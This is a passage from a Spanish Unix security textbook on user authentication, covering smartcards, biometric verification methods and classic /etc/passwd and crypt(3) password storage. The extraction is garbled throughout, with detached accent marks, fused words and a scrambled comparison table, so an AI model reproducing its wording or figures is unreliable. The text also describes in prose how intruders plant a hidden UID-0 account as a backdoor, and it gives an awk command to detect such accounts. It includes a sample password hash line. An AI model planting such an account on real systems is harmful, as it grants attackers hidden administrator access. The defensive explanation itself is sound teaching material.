dispositivo, denominado chipcard, estaba abriendo. Desde entonces,cientos de millones de esas tarjetas han sido fabricadas, y son utilizadas a diario para fines quevar´ desde las tarjetas monedero m´s sencillas hasta el control de accesos a instalaciones militares ıan ay agencias de inteligencia de todo el mundo; cuando a las chipcards se les incorpor´ un procesador o
  • 8.3. SISTEMAS BASADOS EN ALGO POSE´ IDO: TARJETAS INTELIGENTES 123 Figura 8.1: Estructura gen´rica de una smartcard. einteligente nacieron las smartcards, una gran revoluci´n en el ´mbito de la autenticaci´n de usuarios. o a oDesde un punto de vista formal ([GUQ92]), una tarjeta inteligente (o smartcard) es un dispositivode seguridad del tama˜o de una tarjeta de cr´dito, resistente a la adulteraci´n, que ofrece funciones n e opara un almacenamiento seguro de informaci´n y tambi´n para el procesamiento de la misma en ba- o ese a tecnolog´ VLSI. En la pr´ctica, las tarjetas inteligentes poseen un chip empotrado en la propia ıa atarjeta que puede implementar un sistema de ficheros cifrado y funciones criptogr´ficas, y adem´s a apuede detectar activamente intentos no v´lidos de acceso a la informaci´n almacenada ([MA94]); a oeste chip inteligente es el que las diferencia de las simples tarjetas de cr´dito, que s´lamente incor- e oporan una banda magn´tica donde va almacenada cierta informaci´n del propietario de la tarjeta. e oEn la figura 8.1 se muestra la estructura m´s generalista de una tarjeta inteligente; en ella pode- amos observar que el acceso a las ´reas de memoria s´lamente es posible a trav´s de la unidad de a o eentrada/salida y de una CPU (t´ ıpicamente de 8 bits), lo que evidentemente aumenta la seguridaddel dispositivo. Existe tambi´n un sistema operativo empotrado en la tarjeta – generalmente en eROM, aunque tambi´n se puede extender con funciones en la EEPROM – cuya funci´n es realizar e otareas criptogr´ficas (algoritmos de cifrado como RSA o Triple DES, funciones resumen. . . ); el acriptoprocesador apoya estas tareas ofreciendo operaciones RSA con claves de 512 a 1024 bits. Unejemplo de implementaci´n real de este esquema lo constituye la tarjeta inteligente CERES, de la oF´brica Nacional de Moneda y Timbre espa˜ola ([Pit00]); en ella se incluye adem´s un generador a n ade n´meros aleatorios junto a los mecanismos de protecci´n internos de la tarjeta. u oCuando el usuario poseedor de una smartcard desea autenticarse necesita introducir la tarjetaen un hardware lector; los dos dispositivos se identifican entre s´ con un protocolo a dos bandas ıen el que es necesario que ambos conozcan la misma clave (CK o CCK, Company Key o ChipcardCommunication Key), lo que elimina la posibilidad de utilizar tarjetas de terceros para autenticarseante el lector de una determinada compa˜´ adem´s esta clave puede utilizarse para asegurar la nıa; acomunicaci´n entre la tarjeta y el dispositivo lector. Tras identificarse las dos partes, se lee la iden- otificaci´n personal (PID) de la tarjeta, y el usuario teclea su PIN; se inicia entonces un protocolo odesaf´ıo–respuesta: se env´ el PID a la m´quina y ´sta desaf´ a la tarjeta, que responde al desaf´ ıa a e ıa ıoutilizando una clave personal del usuario (PK, Personal Key). Si la respuesta es correcta, el hostha identificado la tarjeta y el usuario obtiene acceso al recurso pretendido.Las ventajas de utilizar tarjetas inteligentes como medio para autenticar usuarios son muchas frentea las desventajas; se trata de un modelo ampliamente aceptado entre los usuarios, r´pido, y que a
  • 124 CAP´ ´ ITULO 8. AUTENTICACION DE USUARIOSincorpora hardware de alta seguridad tanto para almacenar datos como para realizar funciones decifrado. Adem´s, su uso es factible tanto para controles de acceso f´ a ısico como para controles deacceso l´gico a los hosts, y se integra f´cilmente con otros mecanismos de autenticaci´n como las o a ocontrase˜as; y en caso de desear bloquear el acceso de un usuario, no tenemos m´s que retener n asu tarjeta cuando la introduzca en el lector o marcarla como inv´lida en una base de datos (por aejemplo, si se equivoca varias veces al teclar su PIN, igual que sucede con una tarjeta de cr´dito enormal). Como principal inconveniente de las smartcards podemos citar el coste adicional que su-pone para una organizaci´n el comprar y configurar la infraestructura de dispositivos lectores y las opropias tarjetas; aparte, que un usuario pierda su tarjeta es bastante f´cil, y durante el tiempo que ano disponga de ella o no puede acceder al sistema, o hemos de establecer reglas especiales que pue-den comprometer nuestra seguridad (y por supuesto se ha de marcar como tarjeta inv´lida en una abase de datos central, para que un potencial atacante no pueda utilizarla). Tambi´n la distancia el´gica entre la smartcard y su poseedor – simplemente nos podemos fijar en que la tarjeta no tiene oun interfaz para el usuario – puede ser fuente de varios problemas de seguridad ([BF99], [GSTY96]).Aparte de los problemas que puede implicar el uso de smartcards en s´ contra la l´gica de una ı, otarjeta inteligente existen diversos m´todos de ataque, como realizar ingenier´ inversa – destructi- e ıava – contra el circuito de silicio (y los contenidos de la ROM), adulterar la informaci´n guardada oen la tarjeta o determinar por diferentes m´todos el contenido de la memoria EEPROM. Sin duda euna de las personas que m´s ha contribuido a incrementar la seguridad de las smartcards gracias a asus estudios y ataques es el experto brit´nico Ross J. Anderson ([And97], [AK96]. . . ); en su p´gina a aweb personal, http://www.cl.cam.ac.uk/users/rja14/, podemos encontrar todos sus art´ ıculossobre este tema1 , demasiados como para citarlos aqu´ uno a uno. ı8.4 Sistemas de autenticaci´n biom´trica o eA pesar de la importancia de la criptolog´ en cualquiera de los sistemas de identificaci´n de usuarios ıa ovistos, existen otra clase de sistemas en los que no se aplica esta ciencia, o al menos su aplicaci´n oes secundaria. Es m´s, parece que en un futuro no muy lejano estos ser´n los sistemas que se van a aa imponer en la mayor´ de situaciones en las que se haga necesario autenticar un usuario: son ıam´s amigables para el usuario (no va a necesitar recordar passwords o n´meros de identificaci´n a u ocomplejos, y, como se suele decir, el usuario puede olvidar una tarjeta de identificaci´n en casa, opero nunca se olvidar´ de su mano o su ojo) y son mucho m´s dif´ a a ıciles de falsificar que una simplecontrase˜a o una tarjeta magn´tica; las principales razones por la que no se han impuesto ya en n enuestros dias es su elevado precio, fuera del alcance de muchas organizaciones, y su dificultad demantenimiento ([GKK97]).Estos sistemas son los denominados biom´tricos, basados en caracter´ e ısticas f´ ısicas del usuarioa identificar. El reconocimiento de formas, la inteligencia artificial y el aprendizaje son las ra-mas de la inform´tica que desempe˜an el papel m´s importante en los sistemas de identificaci´n a n a obiom´tricos; la criptolog´ se limita aqu´ a un uso secundario, como el cifrado de una base de datos e ıa ıde patrones retinales, o la transmisi´n de una huella dactilar entre un dispositivo analizador y una obase de datos. La autenticaci´n basada en caracter´ o ısticas f´ısicas existe desde que existe el hombrey, sin darnos cuenta, es la que m´s utiliza cualquiera de nosotros en su vida cotidiana: a diario aidentificamos a personas por los rasgos de su cara o por su voz. Obviamente aqu´ el agente recono- ıcedor lo tiene f´cil porque es una persona, pero en el modelo aplicable a redes o sistemas Unix el aagente ha de ser un dispositivo que, bas´ndose en caracter´ a ısticas del sujeto a identificar, le permitao deniegue acceso a un determinado recurso.Aunque la autenticaci´n de usuarios mediante m´todos biom´tricos es posible utilizando cualquier o e ecaracter´ ıstica unica y mesurable del individuo (esto incluye desde la forma de teclear ante un or- ´denador hasta los patrones de ciertas venas, pasando por el olor corporal), tradicionalmente ha 1Y sobre otros, principalmente esteganograf´ y criptograf´ ıa ıa.
  • ´ ´8.4. SISTEMAS DE AUTENTICACION BIOMETRICA 125 Ojo – Iris Ojo – Reti- Huellas Geometr´ de ıa Escritura Voz na dactilares la mano – FirmaFiabilidad Muy alta Muy alta Alta Alta Alta AltaFacilidad de Media Baja Alta Alta Alta AltausoPrevenci´n o Muy Alta Muy alta Alta Alta Media Mediade ataquesAceptaci´n o Media Media Media Alta Muy alta AltaEstabilidad Alta Alta Alta Media Media MediaIdentificaci´n o Ambas Ambas Ambas Autenticaci´n o Ambas Autenticaci´n oy autentica-ci´n oEst´ndars a – – ANSI/NIST, – – SVAPI FBIInterferencias Gafas Irritaciones Suciedad, Artritis, reu- Firmas Ruido, res- heridas, matismo . . . f´ciles a o friados . . . asperezas cambian- ... tesUtilizaci´n o Instalaciones Instalaciones Polic´ in- ıa, General Industrial Accesos remo- nucleares, nucleares, dustrial tos en bancos servicios servicios o bases de da- m´dicos, e m´dicos, e tos centros pe- centros pe- nitenciarios nitenciariosPrecio por 5000 5000 1200 2100 1000 1200nodo en1997 (USD) Tabla 8.1: Comparaci´n de m´todos biom´tricos. o e e
  • 126 CAP´ ´ ITULO 8. AUTENTICACION DE USUARIOSestado basada en cinco grandes grupos ([Eve92]). En la tabla 8.1 ([Huo98], [Phi97]) se muestra unacomparativa de sus rasgos m´s generales, que vamos a ver con m´s detalle en los puntos siguientes. a aLos dispositivos biom´tricos tienen tres partes principales; por un lado, disponen de un meca- enismo autom´tico que lee y captura una imagen digital o anal´gica de la caracter´ a o ıstica a analizar.Adem´s disponen de una entidad para manejar aspectos como la compresi´n, almacenamiento o a ocomparaci´n de los datos capturados con los guardados en una base de datos (que son considerados ov´lidos), y tambi´n ofrecen una interfaz para las aplicaciones que los utilizan. El proceso general de a eautenticaci´n sigue unos pasos comunes a todos los modelos de autenticaci´n biom´trica: captura o o eo lectura de los datos que el usuario a validar presenta, extracci´n de ciertas caracter´ o ısticas de lamuestra (por ejemplo, las minucias de una huella dactilar), comparaci´n de tales caracter´ o ısticascon las guardadas en una base de datos, y decisi´n de si el usuario es v´lido o no. Es en esta o adecisi´n donde principalmente entran en juego las dos caracter´ o ısticas b´sicas de la fiabilidad de atodo sistema biom´trico (en general, de todo sistema de autenticaci´n): las tasas de falso recha- e ozo y de falsa aceptaci´n. Por tasa de falso rechazo (False Rejection Rate, FRR) se entiende la oprobabilidad de que el sistema de autenticaci´n rechaze a un usuario leg´ o ıtimo porque no es capazde identificarlo correctamente, y por tasa de falsa aceptaci´n (False Acceptance Rate, FAR) la oprobabilidad de que el sistema autentique correctamente a un usuario ileg´ ıtimo; evidentemente,una FRR alta provoca descontento entre los usuarios del sistema, pero una FAR elevada genera ungrave problema de seguridad: estamos proporcionando acceso a un recurso a personal no autorizadoa acceder a ´l. ePor ultimo, y antes de entrar m´s a fondo con los esquemas de autenticaci´n biom´trica cl´sicos, ´ a o e aquiz´s es conveniente desmentir uno de los grandes mitos de estos modelos: la vulnerabilidad a aataques de simulaci´n. En cualquier pel´ o ıcula o libro de esp´ que se precie, siempre se consigue ıas‘enga˜ar’ a autenticadores biom´tricos para conseguir acceso a determinadas instalaciones mediante n eestos ataques: se simula la parte del cuerpo a analizar mediante un modelo o incluso utilizando´rganos amputados a un cad´ver o al propio usuario vivo (crudamente, se le corta una mano oo aun dedo, se le saca un ojo. . . para conseguir que el sistema permita la entrada). Evidentemente,esto s´lo sucede en la ficci´n: hoy en d´ cualquier sistema biom´trico – con excepci´n, quiz´s, o o ıa e o ade algunos modelos basados en voz de los que hablaremos luego – son altamente inmunes a estosataques. Los analizadores de retina, de iris, de huellas o de la geometr´ de la mano son capaces, ıaaparte de decidir si el miembro pertenece al usuario leg´ ıtimo, de determinar si ´ste est´ vivo o se e atrata de un cad´ver. a8.4.1 Verificaci´n de voz oEn los sistemas de reconocimiento de voz no se intenta, como mucha gente piensa, reconocer lo queel usuario dice, sino identificar una serie de sonidos y sus caracter´ ısticas para decidir si el usuario esquien dice ser. Para autenticar a un usuario utilizando un reconocedor de voz se debe disponer deciertas condiciones para el correcto registro de los datos, como ausencia de ruidos, reverberacioneso ecos; idealmente, estas condiciones han de ser las mismas siempre que se necesite la autenticaci´n. oCuando un usuario desea acceder al sistema pronunciar´ unas frases en las cuales reside gran parte ade la seguridad del protocolo; en algunos modelos, los denominados de texto dependiente, el sistematiene almacenadas un conjunto muy limitado de frases que es capaz de reconocer: por ejemplo, ima-ginemos que el usuario se limita a pronunciar su nombre, de forma que el reconocedor lo entienda y loautentique. Como veremos a continuaci´n, estos modelos proporcionan poca seguridad en compara- oci´n con los de texto independiente, donde el sistema va ‘proponiendo’ a la persona la pronunciaci´n o ode ciertas palabras extra´ıdas de un conjunto bastante grande. De cualquier forma, sea cual sea elmodelo, lo habitual es que las frases o palabras sean caracter´ısticas para maximizar la cantidad dedatos que se pueden analizar (por ejemplo, frases con una cierta entonaci´n, pronunciaci´n de los o odiptongos, palabras con muchas vocales. . . ). Conforme va hablando el usuario, el sistema registratoda la informaci´n que le es util; cuando termina la frase, ya ha de estar en disposici´n de facilitar o ´ o
  • ´ ´8.4. SISTEMAS DE AUTENTICACION BIOMETRICA 127o denegar el acceso, en funci´n de la informaci´n analizada y contrastada con la de la base de datos. o oEl principal problema del reconocimiento de voz es la inmunidad frente a replay attacks, un mo-delo de ataques de simulaci´n en los que un atacante reproduce (por ejemplo, por medio de un omagnet´fono) las frases o palabras que el usuario leg´ o ıtimo pronuncia para acceder al sistema. Esteproblema es especialmente grave en los sistemas que se basan en textos preestablecidos: volviendoal ejemplo anterior, el del nombre de cada usuario, un atacante no tendr´ m´s que grabar a una ıa apersona que pronuncia su nombre ante el autenticador y luego reproducir ese sonido para conseguirel acceso; casi la unica soluci´n consiste en utilizar otro sistema de autenticaci´n junto al reconoci- ´ o omiento de voz. Por contra, en modelos de texto independiente, m´s interactivos, este ataque no es atan sencillo porque la autenticaci´n se produce realmente por una especie de desaf´ o ıo–respuesta entreel usuario y la m´quina, de forma que la cantidad de texto grabado habr´ de ser mucho mayor – y a ıala velocidad para localizar la parte del texto que el sistema propone habr´ de ser elevada –. Otro ıagrave problema de los sistemas basados en reconocimiento de voz es el tiempo que el usuario empleahablando delante del analizador, al que se a˜ade el que ´ste necesita para extraer la informaci´n y n e ocontrastarla con la de su base de datos; aunque actualmente en la mayor´ de sistemas basta con ıauna sola frase, es habitual que el usuario se vea obligado a repetirla porque el sistema le deniega elacceso (una simple congesti´n hace variar el tono de voz, aunque sea levemente, y el sistema no es ocapaz de decidir si el acceso ha de ser autorizado o no; incluso el estado an´ ımico de una personavar´ su timbre. . . ). A su favor, el reconocimiento de voz posee la cualidad de una excelente acogida ıaentre los usuarios, siempre y cuando su funcionamiento sea correcto y ´stos no se vean obligados a erepetir lo mismo varias veces, o se les niegue un acceso porque no se les reconoce correctamente.8.4.2 Verificaci´n de escritura oAunque la escritura (generalmente la firma) no es una caracter´ ıstica estrictamente biom´trica, co- emo hemos comentado en la introducci´n se suele agrupar dentro de esta categor´ de la misma o ıa;forma que suced´ en la verificaci´n de la voz, el objetivo aqu´ no es interpretar o entender lo que ıa o ıel usuario escribe en el lector, sino autenticarlo bas´ndose en ciertos rasgos tanto de la firma como ade su r´brica. uLa verificaci´n en base a firmas es algo que todos utilizamos y aceptamos d´ a d´ en documentos o ıa ıao cheques; no obstante, existe una diferencia fundamental entre el uso de las firmas que hacemosen nuestra vida cotidiana y los sistemas biom´tricos; mientras que habitualmente la verificaci´n de e ola firma consiste en un simple an´lisis visual sobre una impresi´n en papel, est´tica, en los sistemas a o aautom´ticos no es posible autenticar usuarios en base a la representaci´n de los trazos de su firma. a oEn los modelos biom´tricos se utiliza adem´s la forma de firmar, las caracter´ e a ısticas din´micas (por aeso se les suele denominar Dynamic Signature Verification, DSV): el tiempo utilizado para rubricar,las veces que se separa el bol´ ıgrafo del papel, el ´ngulo con que se realiza cada trazo. . . aPara utilizar un sistema de autenticaci´n basado en firmas se solicita en primer lugar a los futuros ousuarios un n´mero determinado de firmas ejemplo, de las cuales el sistema extrae y almacena uciertas caracter´ ısticas; esta etapa se denomina de aprendizaje, y el principal obst´culo a su correcta aejecuci´n son los usuarios que no suelen firmar uniformemente. Contra este problema la unica o ´soluci´n (aparte de una concienciaci´n de tales usuarios) es relajar las restricciones del sistema a o ola hora de aprender firmas, con lo que se decrementa su seguridad.Una vez que el sistema conoce las firmas de sus usuarios, cuando estos desean acceder a ´l seeles solicita tal firma, con un n´mero limitado de intentos (generalmente m´s que los sistemas que u aautentican mediante contrase˜as, ya que la firma puede variar en un individuo por m´ltiples fac- n utores). La firma introducida es capturada por un l´piz ´ptico o por una lectora sensible (o por a oambos), y el acceso al sistema se produce una vez que el usuario ha introducido una firma que elverificador es capaz de distinguir como aut´ntica. e
  • 128 CAP´ ´ ITULO 8. AUTENTICACION DE USUARIOS ıdas. c 1998 Idex AS, http://www.idex.no/. Figura 8.2: Huella dactilar con sus minucias extra´8.4.3 Verificaci´n de huellas oT´ıpicamente la huella dactilar de un individuo ha sido un patr´n bastante bueno para determinar su oidentidad de forma inequ´ ıvoca, ya que est´ aceptado que dos dedos nunca poseen huellas similares, ani siquiera entre gemelos o entre dedos de la misma persona. Por tanto, parece obvio que las huellasse convertir´ antes o despu´s en un modelo de autenticaci´n biom´trico: desde el siglo pasado ıan e o ehasta nuestros d´ se vienen realizando con ´xito clasificaciones sistem´ticas de huellas dactilares ıas e aen entornos policiales, y el uso de estos patrones fu´ uno de los primeros en establecerse como emodelo de autenticaci´n biom´trica. o eCuando un usuario desea autenticarse ante el sistema situa su dedo en un ´rea determinada (´rea de a alectura, no se necesita en ning´n momento una impresi´n en tinta). Aqu´ se toma una imagen que u o ıposteriormente se normaliza mediante un sistema de finos espejos2 para corregir ´ngulos, y es de aesta imagen normalizada de la que el sistema extrae las minucias (ciertos arcos, bucles o remolinosde la huella) que va a comparar contra las que tiene en su base de datos; es importante resaltar quelo que el sistema es capaz de analizar no es la huella en s´ sino que son estas minucias, concretamente ıla posici´n relativa de cada una de ellas. Est´ demostrado que dos dedos nunca pueden poseer m´s o a ade ocho minucias comunes, y cada uno tiene al menos 30 o 40 de ´stas (en la figura 8.2 podemos ever una imagen de una huella digitalizada con sus minucias). Si la comparaci´n de las posiciones orelativas de las minucias le´ ıdas con las almacenadas en la base de datos es correcta, se permite elacceso al usuario, deneg´ndosele obviamente en caso contrario. a 2 Existen otros m´todos para obtener una imagen de la huella, como la representaci´n t´rmica, pero su uso es e o emenos habitual – principalmente por el precio de los lectores –.
  • ´ ´8.4. SISTEMAS DE AUTENTICACION BIOMETRICA 129Los sistemas basados en reconocimiento de huellas son relativamente baratos (en comparaci´n ocon otros biom´tricos, como los basados en patrones retinales); sin embargo, tienen en su contra ela incapacidad temporal de autenticar usuarios que se hayan podido herir en el dedo a reconocer(un peque˜o corte o una quemadura que afecte a varias minucias pueden hacer in´til al sistema). n uTambi´n elementos como la suciedad del dedo, la presi´n ejercida sobre el lector o el estado de la e opiel pueden ocasionar lecturas err´neas. Otro factor a tener muy en cuenta contra estos sistemas es opsicol´gico, no t´cnico: hemos dicho en la introducci´n que un sistema de autenticaci´n de usuarios o e o oha de ser aceptable por los mismos, y generalmente el reconocimiento de huellas se asocia a loscriminales, por lo que muchos usuarios recelan del reconocedor y de su uso ([vKPG97]).8.4.4 Verificaci´n de patrones oculares oLos modelos de autenticaci´n biom´trica basados en patrones oculares se dividen en dos tecnolog´ o e ıasdiferentes: o bien analizan patrones retinales, o bien analizan el iris. Estos m´todos se suelen consi- ederar los m´s efectivos: para una poblaci´n de 200 millones de potenciales usuarios la probabilidad a ode coincidencia es casi 0, y adem´s una vez muerto el individuo los tejidos oculares degeneran ar´pidamente, lo que dificulta la falsa aceptaci´n de atacantes que puedan robar este ´rgano de un a o ocad´ver. aLa principal desventaja de los m´todos basados en el an´lisis de patrones oculares es su escasa e aaceptaci´n; el hecho de mirar a trav´s de un binocular (o monocular), necesario en ambos modelos, o eno es c´modo para los usuarios, ni aceptable para muchos de ellos: por un lado, los usuarios no se of´ de un haz de rayos analizando su ojo3 , y por otro un examen de este ´rgano puede revelar enfer- ıan omedades o caracter´ ısticas m´dicas que a muchas personas les puede interesar mantener en secreto, ecomo el consumo de alcohol o de ciertas drogas. Aunque los fabricantes de dispositivos lectoresaseguran que s´lo se analiza el ojo para obtener patrones relacionados con la autenticaci´n, y en o oning´n caso se viola la privacidad de los usuarios, mucha gente no cree esta postura oficial (aparte udel hecho de que la informaci´n es procesada v´ software, lo que facilita introducir modificaciones o ıasobre lo que nos han vendido para que un lector realice otras tareas de forma enmascarada). Porsi esto fuera poco, se trata de sistemas demasiado caros para la mayor´ de organizaciones, y el ıaproceso de autenticaci´n no es todo lo r´pido que debiera en poblaciones de usuarios elevadas. De o aesta forma, su uso se ve reducido casi s´lo a la identificaci´n en sistemas de alta seguridad, como o oel control de acceso a instalaciones militares.RetinaLa vasculatura retinal (forma de los vasos sangu´ ıneos de la retina humana) es un elemento ca-racter´ ıstico de cada individuo, por lo que numerosos estudios en el campo de la autenticaci´n de ousuarios se basan en el reconocimiento de esta vasculatura.En los sistemas de autenticaci´n basados en patrones retinales el usuario a identificar ha de mirar oa trav´s de unos binoculares, ajustar la distancia interocular y el movimiento de la cabeza, mirar ea un punto determinado y por ultimo pulsar un bot´n para indicar al dispositivo que se encuentra ´ olisto para el an´lisis. En ese momento se escanea la retina con una radiaci´n infrarroja de baja a ointensidad en forma de espiral, detectando los nodos y ramas del ´rea retinal para compararlos con alos almacenados en una base de datos; si la muestra coincide con la almacenada para el usuario queel individuo dice ser, se permite el acceso.La compa˜´ EyeDentify posee la patente mundial para analizadores de vasculatura retinal, por nıalo que es la principal desarrolladora de esta tecnolog´ su p´gina web se puede encontrar en ıa; ahttp://www.eyedentify.com/. 3 Aunque en el caso de los irises existen dispositivos capaces de leer a una distancia de varios metros, haciendo elproceso menos agresivo.
  • 130 CAP´ ´ ITULO 8. AUTENTICACION DE USUARIOS Figura 8.3: Iris humano con la extracci´n de su iriscode. oIrisEl iris humano (el anillo que rodea la pupila, que a simple vista diferencia el color de ojos de ca-da persona) es igual que la vasculatura retinal una estructura unica por individuo que forma un ´sistema muy complejo – de hasta 266 grados de libertad – , inalterable durante toda la vida de lapersona. El uso por parte de un atacante de ´rganos replicados o simulados para conseguir una falsa oaceptaci´n es casi imposible con an´lisis infrarrojo, capaz de detectar con una alta probabilidad si o ael iris es natural o no.La identificaci´n basada en el reconocimiento de iris es m´s moderna que la basada en patrones o aretinales; desde hace unos a˜os el iris humano se viene utilizando para la autenticaci´n de usuarios n o([BAW96], [Dau97]). Para ello, se captura una imagen del iris en blanco y negro, en un entornocorrectamente iluminado; esta imagen se somete a deformaciones pupilares (el tama˜o de la pupila nvar´ enormemente en funci´n de factores externos, como la luz) y de ella se extraen patrones, que ıa oa su vez son sometidos a transformaciones matem´ticas ([McM97]) hasta obtener una cantidad de adatos (t´ ıpicamente 256 KBytes) suficiente para los prop´sitos de autenticaci´n. Esa muestra, deno- o ominada iriscode (en la figura 8.3 se muestra una imagen de un iris humano con su iriscode asociado)es comparada con otra tomada con anterioridad y almacenada en la base de datos del sistema, deforma que si ambas coinciden el usuario se considera autenticado con ´xito; la probabilidad de una efalsa aceptaci´n es la menor de todos los modelos biom´tricos ([Dau98]). o eLa empresa estadounidense IriScan es la principal desarrolladora de tecnolog´ (y de investiga- ıaciones) basada en reconocimiento de iris que existe actualmente, ya que posee la patente sobre
  • ´ ´8.4. SISTEMAS DE AUTENTICACION BIOMETRICA 131 Figura 8.4: Geometr´ de una mano con ciertos par´metros extra´ ıa a ıdos.esta tecnolog´ su p´gina web, con interesantes art´ ıa; a ıculos sobre este modelo de autenticaci´n (a odiferencia de la p´gina de EyeDentify), se puede consultar en http://www.iriscan.com/. a8.4.5 Verificaci´n de la geometr´ de la mano o ıaLos sistemas de autenticaci´n basados en el an´lisis de la geometr´ de la mano son sin duda los o a ıam´s r´pidos dentro de los biom´tricos: con una probabilidad de error aceptable en la mayor´ de a a e ıaocasiones, en aproximadamente un segundo son capaces de determinar si una persona es quien diceser.Cuando un usuario necesita ser autenticado situa su mano sobre un dispositivo lector con unasgu´ que marcan la posici´n correcta para la lectura (figura 8.4). Una vez la mano est´ correc- ıas o atamente situada, unas c´maras toman una imagen superior y otra lateral, de las que se extraen aciertos datos (anchura, longitud, ´rea, determinadas distancias. . . ) en un formato de tres dimen- asiones. Transformando estos datos en un modelo matem´tico que se contrasta contra una base de apatrones, el sistema es capaz de permitir o denegar acceso a cada usuario.Quiz´s uno de los elementos m´s importantes del reconocimiento mediante analizadores de geo- a ametr´ de la mano es que ´stos son capaces de aprender: a la vez que autentican a un usuario, ıa eactualizan su base de datos con los cambios que se puedan producir en la muestra (un peque˜o cre- ncimiento, adelgazamiento, el proceso de cicatrizado de una herida. . . ); de esta forma son capaces deidentificar correctamente a un usuario cuya muestra se tom´ hace a˜os, pero que ha ido accediendo o nal sistema con regularidad. Este hecho, junto a su rapidez y su buena aceptaci´n entre los usuarios, o
  • 132 CAP´ ´ ITULO 8. AUTENTICACION DE USUARIOShace que los autenticadores basados en la geometr´ de la mano sean los m´s extendidos dentro ıa ade los biom´tricos a pesar de que su tasa de falsa aceptaci´n se podr´ considerar inaceptable en e o ıaalgunas situaciones: no es normal, pero s´ posible, que dos personas tengan la mano lo suficiente- ımente parecida como para que el sistema las confunda. Para minimizar este problema se recurrea la identificaci´n basada en la geometr´ de uno o dos dedos, que adem´s puede usar dispositivos o ıa alectores m´s baratos y proporciona incluso m´s rapidez. a a8.5 Autenticaci´n de usuarios en Unix o8.5.1 Autenticaci´n cl´sica o aEn un sistema Unix habitual cada usuario posee un nombre de entrada al sistema o login y unaclave o password; ambos datos se almacenan generalmente en el fichero /etc/passwd. Este archivocontiene una l´ınea por usuario (aunque hay entradas que no corresponden a usuarios reales, comoveremos a continuaci´n) donde se indica la informaci´n necesaria para que los usuarios puedan o oconectar al sistema y trabajar en ´l, separando los diferentes campos mediante ‘:’. Por ejemplo, epodemos encontrar entradas parecidas a la siguiente: toni:LEgPN8jqSCHCg:1000:100:Antonio Villalon,,,:/export/home/toni:/bin/shEn primer lugar aparecen el login del usuario y su clave cifrada; a continuaci´n tenemos dos n´meros o uque ser´n el identificador de usuario y el de grupo respectivamente. El quinto campo, denominado agecos es simplemente informaci´n administrativa sobre la identidad real del usuario, como su nom- obre, tel´fono o n´mero de despacho. Finalmente, los dos ultimos campos corresponden al directorio e u ´del usuario (su $HOME inicial) y al shell que le ha sido asignado.Al contrario de lo que mucha gente cree, Unix no es capaz de distinguir a sus usuarios por sunombre de entrada al sistema. Para el sistema operativo lo que realmente distingue a una personade otra (o al menos a un usuario de otro) es el UID del usuario en cuesti´n; el login es algo que ose utiliza principalmente para comodidad de las personas (obviamente es m´s f´cil acordarse de un a anombre de entrada como toni que de un UID como 2643, sobre todo si se tienen cuentas en variasm´quinas, cada una con un UID diferente). Por tanto, si en /etc/passwd existen dos entradas con aun mismo UID, para Unix se tratar´ del mismo usuario, aunque tengan un login y un password adiferente: as´ si dos usuarios tienen asignado el UID 0, ambos tendr´n privilegios de superusua- ı, ario, sin importar el login que utilicen. Esto es especialmente aprovechado por atacantes que hanconseguido privilegios de administrador en una m´quina: pueden a˜adir una l´ a n ınea a /etc/passwdmezclada entre todas las dem´s, con un nombre de usuario normal pero con el UID 0; as´ garantizan a ısu entrada al sistema como administradores en caso de ser descubiertos, por ejemplo para borrarhuellas. Como a simple vista puede resultar dif´ localizar la l´ ıcil ınea insertada, especialmente ensistemas con un gran n´mero de usuarios, para detectar las cuentas con privilegios en la m´quina u apodemos utilizar la siguiente orden: anita:~# cat /etc/passwd|awk -F: ’$3==0 {print $1}’ root anita:~#En el fichero de claves van a existir entradas que no corresponden a usuarios reales, sino que sonutilizadas por ciertos programas o se trata de cuentas mantenidas por motivos de compatibilidadcon otros sistemas; t´ıpicos ejemplos de este tipo de entradas son lp, uucp o postmaster. Estascuentas han de estar bloqueadas en la mayor´ de casos, para evitar que alguien pueda utilizar- ıalas para acceder a nuestro sistema: s´lo han de ser accesibles para el root mediante la orden su. oAunque en su mayor´ cumplen esta condici´n, en algunos sistemas estas cuentas tienen claves por ıa odefecto o, peor, no tienen claves, lo que las convierte en una puerta completamente abierta a losintrusos; es conveniente que, una vez instalado el sistema operativo, y antes de poner a trabajarla m´quina, comprobemos que est´n bloqueadas, o en su defecto que tienen claves no triviales. a a
  • ´8.5. AUTENTICACION DE USUARIOS EN UNIX 133Algunos ejemplos de cuentas sobre los que hay que prestar una especial atenci´n son4 root, guest, olp, demos, 4DGifts, tour, uucp, nuucp, games o postmaster; es muy recomendable consultar losmanuales de cada sistema concreto, y chequear peri´dicamente la existencia de cuentas sin clave o ocuentas que deber´ permanecer bloqueadas y no lo est´n. ıan aPara cifrar las claves de acceso de sus usuarios, el sistema operativo Unix emplea un criptosis-tema irreversible que utiliza la funci´n est´ndar de C crypt(3), basada en el algoritmo DES. Para o auna descripci´n exhaustiva del funcionamiento de crypt(3) se puede consultar [MT79], [FK90] o o[GS96]. Esta funci´n toma como clave los ocho primeros caracteres de la contrase˜a elegida por el o nusuario (si la longitud de ´sta es menor, se completa con ceros) para cifrar un bloque de texto en eclaro de 64 bits puestos a cero; para evitar que dos passwords iguales resulten en un mismo textocifrado, se realiza una permutaci´n durante el proceso de cifrado elegida de forma autom´tica y o aaleatoria para cada usuario, basada en un campo formado por un n´mero de 12 bits (con lo que uconseguimos 4096 permutaciones diferentes) llamado salt. El cifrado resultante se vuelve a cifrarutilizando la contrase˜a del usuario de nuevo como clave, y permutando con el mismo salt, repi- nti´ndose el proceso 25 veces. El bloque cifrado final, de 64 bits, se concatena con dos bits cero, eobteniendo 66 bits que se hacen representables en 11 caracteres de 6 bits cada uno y que, junto conel salt, pasan a constituir el campo password del fichero de contrase˜as, usualmente /etc/passwd. nAs´ los dos primeros caracteres de este campo estar´n constituidos por el salt y los 11 restantes ı, apor la contrase˜a cifrada: n toni:LEgPN8jqSCHCg:1000:100:Antonio Villalon,,,:/export/home/toni:/bin/sh salt: LE Password cifrado: gPN8jqSCHCgComo hemos dicho antes, este criptosistema es irreversible. Entonces, ¿c´mo puede un usuario oconectarse a una m´quina Unix? El proceso es sencillo: el usuario introduce su contrase˜a, que a nse utiliza como clave para cifrar 64 bits a 0 bas´ndose en el salt, le´ en /etc/passwd, de dicho a ıdousuario. Si tras aplicar el algoritmo de cifrado el resultado se corresponde con lo almacenado enlos ultimos 11 caracteres del campo password del fichero de contrase˜as, la clave del usuario se ´ nconsidera v´lida y se permite el acceso. En caso contrario se le deniega y se almacena en un fichero ael intento de conexi´n fallido. o8.5.2 Mejora de la seguridadProblemas del modelo cl´sico aLos ataques de texto cifrado escogido constituyen la principal amenaza al sistema de autenticaci´n ode 